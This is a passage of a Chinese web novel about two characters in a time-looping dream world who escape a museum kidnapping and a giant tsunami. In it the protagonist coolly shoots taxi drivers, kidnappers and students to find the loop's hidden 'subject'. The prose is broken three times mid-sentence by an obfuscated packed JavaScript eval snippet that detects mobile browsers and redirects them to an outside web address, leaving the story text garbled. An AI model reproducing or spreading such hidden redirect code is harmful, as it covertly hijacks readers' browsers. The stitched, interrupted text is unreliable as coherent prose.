这一场绑架突如其来，峰回路转，即便是历经大风大雨的王沐恩也换了神色，仍然沉浸在震惊中，她平复着内心的汹涌，回想起姜渔最初确实提到过“绑匪很快就来了……” 绑匪果然“如约而至”。 那，海啸呢？ 她是亲历过海啸的人，知道海啸的残酷，终于狠下心点头：“好！” 姜渔一直持枪，示意一群妖人走在最前，让馆长和学生们跟在后面，一行人押送着妖人开始移动出馆。 辛司政捂着肩膀，落后姜渔半个身位，眼神复杂。 他清醒过来时听到猎狗的话，知道所有人刚刚都被姜渔的话“蛊惑”了，包括自己在内。只不过，他回想起自己的话，只觉得未免也太过狗腿……比猎狗还要狗腿那种。 他很尴尬。 辛司政凑上前，故作毫不在乎地问：“刚才是怎么回事？” “通过桥兑换的东西，一枚徽章。可以在三分钟内起到类似催眠的作用。” 辛司政了然：“看来你获得了很多晶核？都是买的？” “有杀的，也有幻境沼泽给的。” 姜渔意识到既然辛司政有一座与“1301室”功能相似的桥，也许当两人唤醒幻境沼泽主体后，他同样会有所收获，于是没有隐瞒。 “幻境沼泽给的？” “当把幻境沼泽的主体唤醒后，我们就会醒过来。”姜渔步履不停，说，“到那时，存在于幻境沼泽中的衍生体，应该会自动变成你所需的东西，比如骸骨，发放到你的桥上。” “竟然如此？”辛司政一双死鱼眼中瞳孔骤然收缩，“跟游戏通关一样？你唤醒多少人了？” “不多。” 不多，但肯定有。 辛司政舒了一口气：“那你肯定轻车熟路了？该怎么唤醒主体？” “跟被异化的精神锚点有关。”姜渔说，“一时解释不清楚，总之，主体会有意识地去做什么事情。把那件事情完成得越好，越快，就越容易让主体醒过来。” “明白。” 谈话间，众人已经来到博物馆外。 铅云厚重，遮住阳光。沥青马路沿海岸线铺设，蜿蜒不见尽头。青灰色椰树摇曳，树下人来车往。 姜渔眉头一皱：“你有没有发现这个世界颜色单调得过分了？” 辛司政望去，大片的黑白灰色建筑景物层叠交错，点头说：“大部分都是中性色，靠明暗来做区分。” “我见过类似的。黑白电视。”姜渔说道，她想起温不朽幻境沼泽中的老电视。 “你的意思是，我们生活在黑白电视里？” “还不能确定。先活下去。” 姜渔等人来到街边，拦下的士，让王沐恩带着学生们上车，嘱咐说：“让司机向海岸线的反方向开，越远越好，越高越好。有这样的地方吗？” “有。市医院，市里地势最高的地方，也离海岸线很远。” “就去那里。” 事已至此，王沐恩也不再纠结。 她陆续拦下的士，将学生们送上车，等到最后一辆车时，转身问：“你呢？” “别管我，你先走。” 王沐恩有些为难，但看着姜渔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773097|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的认真神色，还是选择不再多言，坐入的士。 的士驶去，姜渔回头转向一排妖人，说：“你们的车停在哪了？” 豪猪头一脸怨恨，不情愿地开口：“地下停车场。” 姜渔果断下了决定：“太迟了，会浪费很多时间。继续打车。” “为什么要把他们也带上？”辛司政现在对姜渔唯命是从，毫无异议，只是提问。 “我们还没找到幻境沼泽的主体。”姜渔一边打车一边解释，“以我的经验来看，外来者进入他人的幻境沼泽后，一般都会出现在主体附近。这些妖人虽然是绑匪，但出现得很快，不能确认他们中有没有主体。” “你很谨慎。”辛司政不禁感叹，又在心里补充：只是购物时比较大意而已。 姜渔则拦的士拦得有些不耐烦。 虽然距离王沐恩等人离开还不到一分钟，但她深深明白时间的宝贵。 可眼下，学生们已经走光，她持着枪。身边又围着一帮妖人，让大部分的士都避之不及。偶尔有停下的车辆，司机一听到姜渔要带着妖人乘车，也忙不迭地疾驰而去了。 “这位管理员小姐。”豪猪头语气不满地开口，“你到底在搞什么把戏？风平浪静的怎么可能会来海啸？你要是想把我们拉去市警局就直说，当着我们的面报警也随你，别再这假惺惺地打车了，怎么可能有人会愿意拦我们？” 姜渔抬在半空的手顿了下，若有所思，“你说得对。” “是吧。报警就报警，当然，你要是怕被我们报复，就放……” 豪猪头话说到一半，却发现姜渔又拦下了一辆车，还没等司机说话，姜渔已经将枪伸向了驾驶位。 一声枪响。 司机的头被子弹贯穿，垂在方向盘上。姜渔将手伸入车内打开门，动作流利地拽走司机的尸体。 姜渔：“来几个人，上去挤挤。” 豪猪头：？ 豪猪头还没回过神来，就见姜渔信步走到道路中间，面对陆续驶来的车辆，抬起枪，眼睛微眯，啪啪啪啪几声枪响，又带走几个司机的生命，一时间街道上车辆连连相撞，火光四溅。道路两侧，行人尖叫逃窜。 豪猪头：？？？ 豪猪头和一帮小弟都看傻了。 辛司政立即明白姜渔的举动，她已经肯定主体出自于博物馆的这一群人，那么，剩下的人便都是虚构的幻体。时间紧张，他上前抬手补枪，拉开一辆辆车门，将尸体拉出。 姜渔回身：“剩下的跟他去找能开的车，应该很多。” 姜渔数了一下，这些妖人大概要乘四辆车左右。为了避免有妖人是幻境沼泽的主体，中途逃掉，她特意嘱咐：“我们要去的地点是市医院，等我下令后，一起行动，我垫后。谁敢离开，我一枪打爆他的狗头。” 猎狗打了个哆嗦，苦着脸说：“怎么只射我啊？” “比喻。谁跑打谁。大家听明白了吗？” 一旁，豪猪头闭上眼，良久，再睁开。他确认这一切不是幻觉。火光还在，路人的尖叫声还在，脚下的尸体还在，车中的司机们的尸体也在，远处小保安正向众人招手：“太好了，车没事！快来！” “不是，大姐，你图啥啊！” 豪猪头彻底崩溃了，“我们绑架好歹还有钱拿啊？你怎么纯杀人啊？所以您是要去干什么大事吗？炸医院？我小舅妈还在那住院呢，你，你，我，我……不行我报警吧？” 姜渔目光冷冽，重申：“听明白，没有？” “……明白了。”豪猪头终于收声，开始分配起车辆人员。 很快，一行妖人也齐齐坐上了车，随着姜渔一声枪响，车队移动。姜渔又啪啪开了两枪，驾驶为首的士的司机顿时会意，狠踩油门，速度拉至最高。 车队飞速驶离海岸线，向城市地势最高的医院开去。 姜渔需要时刻盯着前方三辆车有没有车脱队，于是坐在副驾驶，她用余光看了眼辛司政的肩膀，说：“没事吧？” “没事。”辛司政慨叹，说：“不过这就是幻境沼泽的威力啊，什么实力到这里都要遵循这里的规则。” “你实力很强？” “至少不会被一颗子弹打伤。” “探索级？” “至少。”辛司政点点头，“我很久没去做评级了，大概……正义级吧。” 69. 九十九页（四） “正义级？”姜渔眉毛一挑，“我只听过探索级，那个人是夜莺机动队的队员。” “嗯。探索的等级名字流传得也最广。正义级，基本上是夜莺机动队队长那样吧。” “这么厉害。”姜渔不禁侧目。 她对实力的评级一直不太了解，又因为自己身负秘密，始终没跟别人多讲自己实力上的异常。 “墙内级的实力提升，就是ABC那些，对有桥的人来说，并不难。应该可以通过兑换一些东西提升肉身素质。” “原来如此。” 姜渔回忆起来，在之前两次的滞留物品中，可能就存在可以提升□□素质的东西——比如那个可以免费兑换的沼鹄，或许真的可以吃掉从而提升实力？ “那之后的等级呢？墙外级。”姜渔追问，“为什么后面的等级名字在网上都查不到？” “因为这是联邦军队定的名字。每个名字即是联邦士兵在人类社会中扮演的角色。只有当士兵认为自己实力突破后，才会交由军队评定确认，授予等级。例如军衔。” 辛司政猛转方向盘，跟着前车拐了个大弯，继续说：“拥有非凡能力的人，基本都被联邦收纳了，流落在外的是少数。普通人知道军衔有什么用？” “那你怎么知道？” “我混迹江湖这么久，知道多一点又不稀奇。”辛司政专心开车，表情自然，“探索，正义，平等，传承，真理。五种级别，五种信念，五种使命。授予对应等级的人，要将等级名字携带的意象贯彻到底，据说这种方法有益于士兵防范思觉塌陷，甚至幻境沼泽。” “还有这种作用？” “嗯。探索者追逐真相，永不畏惧。正义者追逐秩序，永不怜悯。平等者追逐死亡，永无憧憬。”辛司政夸夸其谈，随口念出三个显然在军队中属于机密信息的句子，“剩余两个，我不知道。” “追逐死亡？” “是。但我只听过字面意思，没深入了解，总之都是些人生信条之类的东西。” 姜渔眼神逐渐深邃。 这是不是……一种人造的精神锚点！？ 它的用途就是让一个人尽可能摒除杂意，只为一个意象而活！ 当初，将陆伯原从幻境沼泽中拉出来时，姜渔曾听到这样的话：“找是对的！探索是你的命运！” 如今看来，目前的三个幻境沼泽，只有陆伯原在幻境沼泽中的目的最为明确，即带上许江竹去寻找天空之城中的家乡，是鲜明的“探索”意象。 至于温不朽，梦想仍埋在心底，实现之路遥不可期。而现在的幻境沼泽，更是连主体是谁都不知道。 辛司政风轻云淡地继续说道，“像我们这样的人，想获得非凡能力，就需要看兑换到什么道具了。这里加一加，那里加一加，打架打多了，就知道自己的战力大概属于什么级别了。” 姜渔点点头，默默记下这些信息，这对自己以后的实力升级很有启发，至少“兑换物品可以影响肉身体质”这个信息，就可以让她更针对性地挑选兑换品和购买家具了。 或许屋子里可以趁早买一个浴缸。她胡乱想着。 车速不知不觉地慢了下来。 姜渔摇下车窗探头向前眺望，前方车堵得很厉害，似乎是因为出了车祸。 但姜渔已经能看到医院的轮廓，她向后看去，海岸线已经变成遥远洼地中的一道细长曲线。 “大概已经够了，不会有那么大海啸的吧。”姜渔自言自语地说。 “大姐，真的有海啸吗？” 坐在两人后排的豪猪头只听明白这一句话，为难问：“就算真有海啸，到底为什么带上我们这帮人？” 他却没有等到姜渔的回话。 姜渔的话是对辛司政说的。 “不对劲。辛司政，我想我们有麻烦了。” 姜渔打开车门，站在马路上，只身仰望。 远处，上一秒还风平浪静的海岸线，自更远的海面，瞬间出现了一道千百米高、绵延无尽的黑色巨浪！ 之前，姜渔因为距离海啸太近，又身处博物馆内，根本不知道海啸究竟是多大规模。 而今站在远方高处看去，巨浪的最顶端就已经盖过了此处的高地。 非但如此，巨浪的高度以肉眼可见的速度继续增长，当辛司政下车时，黑色巨浪的浪尖已经赫然穿过铅云，足有上千上万米之高！成为天地间一道密不透风的黑墙！ 辛司政嘴巴微张：“太离谱了……” 他没说出口的是，离谱得就像是整个海底都被掀过来一样！ 以海岸线为分界点，将整片海底折叠直接盖向陆地，才能制造出这一道顶天立地的巨浪！ 眨眼间，巨浪已经吞没海岸线的所有建筑，带着吞没一切的气势袭来，大片大片的海水也开始从铅云后坠落在这片高地上。 “怎么办？”辛司政看向姜渔。 “珍惜时间。” 姜渔打开手枪保险，面不改色，“既然这次也失败了，那就先确定主体。” “怎么确定？” “我猜，主体死掉时，幻境沼泽也会重启。所以，我们要在海啸到来前杀掉主体。明白吗？” “明白。如果杀了谁之后，能让循环提前到来，就证明他是主体。” “正确。” 话音落下，姜渔打开后车门，对准豪猪头果断开枪！ 砰的一声！ 豪猪头最终也没有见到海啸，万分错愕地死去了。 姜渔稍等五六秒，继续开枪射杀第二个妖人野狗。 “有节奏的杀，避免循环到临时，同时出现多个死者，不能确认谁是主体。” “明白！”辛司政重重点头，去了前面的车。 每隔三秒，两人就会分别杀死一个妖人。枪声开始有节奏地响起，妖人很快被杀光了，但循环仍未到来。 只有越来越近的巨浪！ 姜渔微微皱眉：“学生们呢？” 辛司政站上车眺望前方：“好像都在更前面！都往医院跑了！” 姜渔摇摇头：“这可不是进医院就能躲掉的海啸。” 她也看向前方，百米外，王沐恩正在焦急地招呼学生下车，于是她抬手眯眼瞄准，扣动扳机。 视线中，王沐恩脑后绽开雪花，无力倒地。 循环并没有提前到来。 到来的只有巨浪而已。 面对已经充满视线的黑浪，姜渔叹了口气，海啸声与惊叫声已经充斥街道，她只能大声喊：“下一次吧！” “好！”辛司政点点头，抬起枪，枪声响起，终结了自己的生命。 第二声枪声随之响起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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豪猪头也愣住了，正要说话时，他看到站得离馆门最近的女生转身开口：“都住手！听我说！” 豪猪头嗤笑一声，摆动枪口，说：“你哪根葱啊听你的？” 看到豪猪头极为不屑的反应，姜渔心中一沉。 这不是园长之嘴奏效的效果。 即如上一次，她在温不朽幻境沼泽所担心的那样：“园长之嘴”徽章的使用限制是“每天一次，每次三分钟”，她从未确定过那个“每天”是指幻境沼泽的每天，还是现实的每天。 现在，豪猪头截然不同的反应已经给出了答案。 每天一次的限制，大概率适用于现实。每次三分钟的使用方法，则适用于当下的使用的场景。 总而言之，园长之嘴已经失效了。 姜渔不禁陷入沉默，暗自心慌地寻求对策时，辛司政却没有意识到两次的不同。 毕竟上一次使用园长之嘴时，豪猪头也曾有过顶撞。 于是，姜渔听到身边的辛司政不屑冷笑出声，很是威风地呵斥道： “小畜生！给我老实听着！” 70. 九十九页（五） 听到辛司政中气十足的叫嚣，姜渔心下一凛。 “小王八羔子说谁是畜生呢？！我们是人！” 猎狗听到辛司政的话，顿时发作，他抬手就是一枪，射中辛司政的肩膀。 辛司政闷哼一声，捂住伤口。 他惊疑地看向姜渔，却发现侧前方的姜渔已经很识相地举手投降了。他只好怯怯垂眸，一时不再多言。 另一边，学生们目睹辛司政真的中了枪，短暂沉默后，意识到这根本不是演习！ 学生们纷纷爆发出尖叫，四散而逃。 哒哒哒！ 枪声再一次笼罩博物馆的大厅。妖人们枪法精准，枪枪打在学生们的脚下，所有人很快反应过来，吓得站在原地不敢乱动。 豪猪厉声喝道：“都蹲过去！” 妖人们开始分头行动，一部分人催使学生们聚到博物馆的大厅中央，另一部人则巡视大厅，不时布置着些什么。 姜渔双手抱头回身，和辛司政一起向学生堆缓缓走去。 姜渔低声分享信息：“我刚才徽章失效了。” “嗯。”辛司政捂着伤口目光阴沉：“我看出来了。” 两人走到学生堆中，老实蹲下，继续窃窃私语。 “还记得最开始的流程吗？”姜渔说，“那个猪头马上就会让学生们做两件事。一，报警，二，让学生们给家长打电话。” “最开始不是我被打死吗？” “你死不死猪头会做这两件事。你没死的那次，是王沐恩报的警，我注意到了。”姜渔低声说，“但是在学生们给家长打电话前，猪头会拉住一个女学生，杀掉她以儆效尤。到那时，馆长王沐恩会冲出去阻止，同样被打死。紧接着就会发生海啸。” 辛司政思索着，说：“你有什么想法？” “你去拖延时间，我去了解情况。” 话音刚落，辛司政看到姜渔已经蹲着去凑近那个总是被枪抵着头的女学生了。 这时，豪猪头已经开始命令馆长王沐恩报警。 王沐恩正要接过手机时，学生堆中忽然冒出一声：“报警！？” 豪猪头一偏头，正看到出言不逊的小保安目光疑惑。 豪猪头笑了：“怎么？” “报警不是会让你们被抓吗？”辛司政皱眉，“为什么这么做？” 远处的猎狗怒骂着又要抬枪：“我们大哥的想法你能明白个屁！” “别开枪！我，我这不是在为你们考虑么？我们市警出警很快的！”辛司政梗着脖子不忿：“难道你就理解你大哥的想法？” 另一边，没人注意到姜渔的小动作。姜渔一步两步凑近，发现之前几次一直被拿枪指着的女学生，正不动神色地将手机放在大腿上，快速发送信息。 “海岸线博物馆有妖人绑架我们！请救救我们！” 对面已经回复：“很快到。” 姜渔看向对话框上方，显示联系人是“银月侠”。 果然有新的信息。 她心思一动，低声问：“银月侠？” “嗯！” 女学生听到问话，回应道。她转过头来，才发现是管理员姐姐。她表情一怔，忙退出对话框。 女学生为难地说：“姐姐……你，你不说这是演习么？” 姜渔立即明白女学生是把自己当成妖人的同伙了，忙说：“别误会，我跟他们不是一伙的。我说的演习是另一帮人。而且，你看我不也是被绑架了吗？我的同事还被击中了呢。” 女学生看向辛司政。 辛司政仍无赖地看着猎狗。 “废话！我能不懂我大哥吗？”猎狗看了眼豪猪头，说：“我大哥绝非鸡鸣狗盗之徒，大哥抱负远大！大哥义薄云天！大哥……” 辛司政冷笑插嘴：“你说的都是空话。” 猎狗也冷笑，不为所动地说：“我大哥做事周全，早就想好了这里会惊动市警，我大哥思绪缜密，早就想好了怎么应对市警。” 这不还是空话么？ 辛司政瞟了一眼豪猪头，却发现豪猪头眉头舒展，十分受用。他顿时了然，知道这猪头确实喜欢听空话，猎狗真是有够了解大哥。 辛司政忙说：“大哥不愧是大哥，真是文曲星再世！我没问题了，请报警吧。” 辛司政龇牙咧嘴地凑到姜渔与女学生身边。 女学生看到辛司政肩上的伤口，戒备的神色褪去一些。 姜渔顺势问道：“银月侠是什么人？” “姐姐不知道么？她是市里最新出现的超级英雄啊，打击罪犯，惩恶扬善。”女学生小声介绍着，“我见过她一次，她会来救我们的。姐姐别怕。” “姜渔。我的名字。”姜渔说，“你叫什么名字？” “倪中墨。姜姐姐可以叫我墨墨。” “好的，墨墨。”姜渔目光真诚，说：“你说的这个银月侠，一定会过来么？” “嗯！” “她过来，就能制止这一切？” “当然！” 墨墨眼中带光，重重点头。她穿着上白下黑的校服，一头黑发披肩，眉毛纤细，眼眸干净，身上有一股独属于少女的昂扬之气。 提及银月侠时，更是底气十足。 姜渔与辛司政交换了一下眼神，都从彼此眼中看出“若有所思”的意思。 姜渔便问：“你有什么看法？” 辛司政说：“我？我没什么看法。” “那你怎么一副若有所思的样子？” 辛司政眉头一皱，严肃说：“我在想，上一次，猎狗说他的枪弹道偏左，于是击中了我。这一次，我注意到他抬枪时，其实是正对着我肩膀的。” “所以？” 辛司政咬牙：“我怎么觉得那牲口每次都是要故意打我的呢。” “服了，大哥，在幻境沼泽里不要把自己看得太重要好不好。你是保安，对你下手很正常。”姜渔叹口气，“我以为你能分析出什么重要线索呢，请把注意力放在这些幻体身上好吗？” “好吧。”辛司政悻悻说，“那你呢？” “银月侠。这个人物会出面解决一切。至少在墨墨认知里是这样的。”姜渔快速说，“我之前跟你说过幻境沼泽的破解关键与精神锚点有关，记得么？” “记得，也在现实里听过。很新的名词？” “嗯。指代每个人心中最重要的东西。幻境沼泽会异化这种东西，我们要引导主体发现这种异化。” 姜渔说，“现在徽章已经失效，只能一一沟通了。你去打听那些学生都在想些什么，有没有什么最想做的事情。比如我们现在已经知道，墨墨在期待银月侠来救她。” 姜渔看到豪猪头已经命令王沐恩打完报警电话，也已经跟众人说清楚他们的绑架目标，开始向墨墨走来，于是语速越来越快，说：“你快去。” “你呢？” “海啸就要来了。猪头马上就要掳走墨墨，接下来，王沐恩死掉，海啸降临。我想办法抢一把枪，寻找主体，就算失败的话，至少也能让我们到时候不至于死得太惨。” 辛司政点点头：“有劳了，记得一定要一枪打死我。” 辛司政小碎步离远。 “墨墨，那个猪头是冲你来的。”姜渔盯着走来的豪猪头，向墨墨悄声嘱咐：“你别怕，等它弯腰伸手来抓你的时候，你装作害怕的样子往后倒下。姐姐会帮你。” “什么？”墨墨没反应过来，她抬起头，看到豪猪头果然已经过来。 墨墨一阵胆寒，她看到豪猪头的目光真是锁定在自己身上！ 三两步之后，豪猪头已经站在身前，弯腰向自己抓来…… 时间已经根本容不得墨墨思考了。 她一咬牙，记起姜渔的话，很害怕地往后坐下去，整个人仰躺着贴在地板上，双肘双脚在地面上搓动向后退。 “给我过来！” 豪猪头抓了个空，眼中凶光一闪。他怒喝一声，上前两步，已经与姜渔身位平行。他腰弯得更低了，再次伸出手去抓。 此时，姜渔紧贴着豪猪头大腿，她抓住机会，左手握拳，脚步发力，整个人像一根绷紧已久的弹簧，猛然站起，左拳狠狠砸在豪猪头的右腹！ 豪猪头顿时嚎叫一声，身子蜷缩，姜渔则松开拳头，左手撤回一半，钳住豪猪头持枪的右手，同时绕向豪猪头身后，右手绕过他的腰间，探向自己的左手，双手紧握，用力一捏！ 咔嚓一声！豪猪头的右手腕骨应声而裂，□□摔在地上。 姜渔松开双手，猫腰捡起冲锋枪，再起身时，枪口已经抵在豪猪头的头上。 所有妖人调转枪口对准姜渔。 姜渔迅速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781830|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴向豪猪头身后，隐蔽身形，枪抵着豪猪头的后颈，冷冷说：“都别动。” 豪猪头疼得口水横流，怨毒地扭头看向姜渔：“你个小……” “闭嘴，猪头。”姜渔语气冰冷，扭头看向身后。 学生堆中，王沐恩已经移动到墨墨身边，将她紧紧护住。远一点，辛司政与姜渔对视一眼，继续回身陆续跟学生们对话套取信息了。 “不会耽误太久的，猪头，就几分钟，不要反抗。”姜渔说，“海啸来时，我也会送你一个痛快。” “海啸？”猪头喘着粗气，气急反笑：“少在这里跟老子拖延时间！” “你很快就知道，我们都会死的。” “是你还不知道！老子刚刚已经让人布置好了炸弹！”猪头癫狂地狞笑，“放开老子！老子拿钱就走，不然！如你所愿，大家一起死！！” 炸弹…… 姜渔谨慎地环顾四周，看到很多地方果然已经贴上样式朴实的黄色牛皮纸包。看来是猪头等人挟持学生们聚成一团时，同伙布置的。 姜渔将枪口抵得更紧，寒声说：“我不介意。” “你不介意？你问问那些小屁孩在不在意！”猪头再次被气笑了，“那个戴黑色墨镜的兔崽子，是市交易部部长的儿子，那个卷发的姑娘，是市里首富的千金！还有那个光头的，市警局的儿子！你问问他介不介意！你问问他们的家长介不介意！” 姜渔淡淡说：“我不介意就够了。” 豪猪头觉得自己完全被小看了，他声嘶力竭地怒吼：“你……你这个疯子！你当老子真不敢和你同归于尽吗！” 姜渔却有自己的考虑。 按理来说，在猪头介绍那些学生们的时候，海啸早应该过来了。可姜渔注意到馆门的方向，海平线依然风平浪静的。 如此回忆起来，在上一轮使用园长之嘴挟持众人后，众人打车前往市医院，海啸来临的时间应该也比以往晚了一点…… 究竟是什么，触发了海啸事件？ 姜渔眉头紧皱，看向辛司政。 辛司政正蹲在那个拽拽地带黑色墨镜的男学生前，他感受到姜渔的目光，转身点点头，说：“都问完了。” 姜渔正要开口，豪猪头再次出声：“放开老子！老子饶你们一命！” 姜渔拒绝得果断：“不可能。” “你……你到底要干什么？”豪猪头已经完全摸不着头脑了，“不然，老子放你走，把学生们留在这里！” “不用。” 豪猪头几近崩溃：“你大爷的，你是不是真以为老子是开玩笑的？猎狗！” 姜渔从豪猪头身后看去，妖人中，猎狗高高举起一个黑色遥控器，狠狠摁下！ 瞬间。 轰隆隆一阵巨响！ 众人被剧烈震动震得七倒八歪，豪猪头勉强稳住身形，说：“狗东西！你真炸了？！” 猎狗紧紧攥着遥控器，慌张说：“没有啊大哥，我只是摁下去还没松手！我想告诉她你不是开玩笑的！” 豪猪头瞠目：“那，那这是怎么回事！市警局上大炮了？” 他不知道这是海啸来临的象征。 只听到接连几声枪响，忽然近在耳边响起！ 砰！砰！砰！砰！ 豪猪头被吓得一激灵，回头看去，只看到许多学生额头上都多了一个血洞！ 他收回目光，愕然看向身边开枪的姜渔，她目光淡然无情，仍在开枪。 豪猪头又注意到更蹊跷的事情。 明明这个疯女人在滥杀无辜，可为什么，所有人的绝望目光并没有聚在姜渔身上，反而是看向馆门的方向？ 豪猪头不禁侧过头。 于是，他看见遮天蔽日的黑色巨浪，充满视野的巨浪冲破馆门，带着吞噬一切的气势涌来！ 豪猪头吓得腿软，直接瘫在地上，“完……完了！” 砰，砰，砰。 只有枪声在不断响起。 直至一声枪响后。 无尽的黑浪，停在表情定格的豪猪头身前，不到一米处。 碎石浮在空中，水花再未落下。万籁俱寂。 时间在这一瞬间，赫然陷入停滞，万物静止！ 下一秒，整个区域以学生堆中的一具尸体为中心，尸体化为黑洞，黑洞骤然收缩，吞噬一切！ 71. 九十九页（六） 姜渔睁开眼。 她撇掉眼镜，直奔舰尾，高大的船身一侧，辛司政同样如此。两人对向奔跑，直至会合。 “你刚刚都问到什么了？”姜渔直奔主题，“有没有比较特殊的，有指向性的诉求？” “我不知道正确答案该是什么样的。” 辛司政摇摇头，说：“有几个说想回家打游戏，睡觉，约会，看电影。还有几个脑子不灵光的，跟我说梦想，当医生，明星，政客。不过所有人的第一个诉求基本都是活下来。他们都被吓到了。” “明白了。”姜渔点点头，说：“没有意外的话，主体应该是墨墨。我最后一个杀的人，是她。当她死去后，我们直接来到了这次循环，没有再经历任何形式的死亡。” 姜渔话不停歇，继续说：“而且你问到的那些事，都与现在的绑架事件关系不大。只有墨墨的银月侠最贴合目前的场景。” 辛司政似懂非懂：“那我们该怎么办？” 姜渔不答反问：“你注意到每次海啸来临的时间吗？” 辛司政手指摩挲下巴，作沉思状。 姜渔：“没注意过对吧？” 辛司政：“嗯。” “第一次，豪猪头枪杀王沐恩后，抵住墨墨额头的瞬间。第二次，同样如此。第三次，驱车前往市医院途中。最近这次，是当猎狗按下遥控器按钮的瞬间。” 辛司政：“然后呢？” “除了第三次。剩余三次，都是生死关头。”姜渔目光认真，“第三次，你还记得路上为什么堵车么？” “好像是发生了车祸？” “没错！”姜渔说，“我现在想，出车祸的很有可能就是墨墨。” “为什么？” “因为，她需要一个危机。”姜渔蹙眉推测，“只有当危机降临，她才有理由去呼唤银月侠。这就是我们出现在绑架现场的原因，我们来到了一个类似英雄救美剧情的幻境沼泽。即便墨墨脱离危险，也会出现车祸之类的事情！” “银月侠还管车祸啊？”辛司政嘟囔着，“附近不就是医院么？这银月侠到底是交警还是大夫？” “我想，是墨墨的精神锚点。” 姜渔话音落下，雨点般的枪声再次响了起来！ 辛司政连忙拽着姜渔的手蹲下，喊着问：“然后呢！那我们该怎么办！” “第一，让绑架案顺利进行下去！第二，不要让墨墨每一次都被提前杀死！” 姜渔同样喊着，说：“我们就在这里，拖延时间，等待银月侠的到来！” 枪声平息，众妖人开始将所有人质聚集起来，姜渔与辛司政都被粗暴地推入学生堆里。 大厅中。 豪猪一如往常，声音沙哑邪笑：“很抱歉在这样一个日子里认识大家，不过，本人无意伤害大家，首先，请大家帮我做一件事……” 他忽然看到一个姑娘举起手：“我来报警！” 姜渔举着手，目光真诚。 “管理员？”豪猪头玩味地笑了，上下打量姜渔，说：“报警？你胆子很大啊，敢在我面前报警？” 另一道声音响起：“大哥才是浑身是胆！” 豪猪头看向一旁，是个死鱼眼保安。 豪猪头眉头一皱：“谁是你大哥？” 辛司政死鱼眼中讨好一笑：“我见大哥绝非鸡鸣狗盗之徒，对您的敬仰犹如滔滔江水连绵不绝，下意识这样叫了。” “哦？”豪猪头来了兴趣，收敛神色，很是深沉地说，“那你……为什么说我浑身是胆？” “我看大哥抱负远大，义薄云天，定然不会拿兄弟性命开玩笑，大哥做事如此周全，怎么会想不到这里的事情会惊动市警？” 豪猪头不禁负手而立，睥睨辛司政两眼，见他表情诚恳不似说谎，便沉声说：“所以，你也认为我说的事情是报警？” 辛司政与姜渔对视一眼，重重点头，说：“是！我想大哥思绪缜密，应该早就想好了怎么应对市警。报警，其实就在大哥的计划中！” 猎狗在一旁听了急得直跺脚。 “哈哈哈……”豪猪头仰天长笑，豪气十足。但因为猪头没办法抬得太高，只有眼睛在向上瞟而已。 “你也是这么想的？”豪猪头轻飘飘看了眼姜渔，漫不经心问道。 姜渔浅浅一笑：“不是。” “那你为什么认为我要做的事是报警？” “我观察你言谈举止，豪迈中似乎带着心细，暴力中隐约藏着怜悯，其实不敢妄自揣测。我只是随口乱蒙了一个寻常绑匪绝不敢做的事而已。” 狗腿有狗腿的夸法，姜渔有姜渔的夸法。 相比于辛司政师从猎狗的狗腿喊话，姜渔语气平静，措辞小心，却更显得豪猪头高深莫测，再加上姜渔谦卑的口吻把自己地位放得很低，更显豪猪头身份高贵，她就差再添一句“小女子不才”了。 猎狗在一旁听得直呼高手，暗自学习。 豪猪头则再一次仰着角度不高的猪头，哈哈大笑。 “没想到普通人类中竟然有这么识时务的人。” 豪猪头欣赏的目光在两人间扫视，说：“不错，就是报警！这个任务就交给你吧，小保安。” “辛司政，大哥叫我小辛就行。” 辛司政点头哈腰接过豪猪头递来的手机，说：“这样也是大哥对我的教导，要我小心翼翼。” 猎狗已经在心里怒骂：这狗爹养的辛司政脑子里都是歪心思！ “市警局么？”辛司政接起电话，观察豪猪头的神色说：“这里是海岸线博物馆，我是保安，这里遭遇了绑架事件！人质除了我、管理员、馆长，还有许多学生！” “我不知道绑匪来历，他们都像是神话中的神仙，长着各种生物的头，这通电话也是他们的老大让我打的……对，实在是太离谱了，我看他们老大一定是足智多谋，神机妙算，所思所想已经远非我能理解的了！” “他们带着枪械，但我看他们的老大神勇无双，绝非寻常莽汉，你们最好多派点人来，特警，狙击手，特异功能的有没有？都叫上，还有带上最先进的枪，什么大炮什么追踪导弹或者……” “行了！”豪猪头越听越觉得不对劲，总感觉自己越来越危险了。 他赶紧抢过辛司政的电话，不满训斥：“说什么呢。” 辛司政悻悻一笑。 也没多大本事啊。他在心里腹诽。 姜渔则趁机凑到墨墨身边，眼神一瞥，看到墨墨蹲着已经发送了信息。 “海岸线博物馆有妖人绑架我们！请救救我们！” 银月侠回复：“很快到。” 墨墨还在打字：“这里还有两个大概率叛变人类的人，你要小心，分别是保安和……” 姜渔忙伸手，低声说：“可以了这条就不用发出去了。” 墨墨一惊，戒备地看向姜渔，护好手机：“你都看到了？” “你没发现我们是在拖延时间么？而且，报警对我们肯定有好处。”姜渔轻声说，“放心，我是站在人类这一边的，我相信银月侠很快就会来的。” 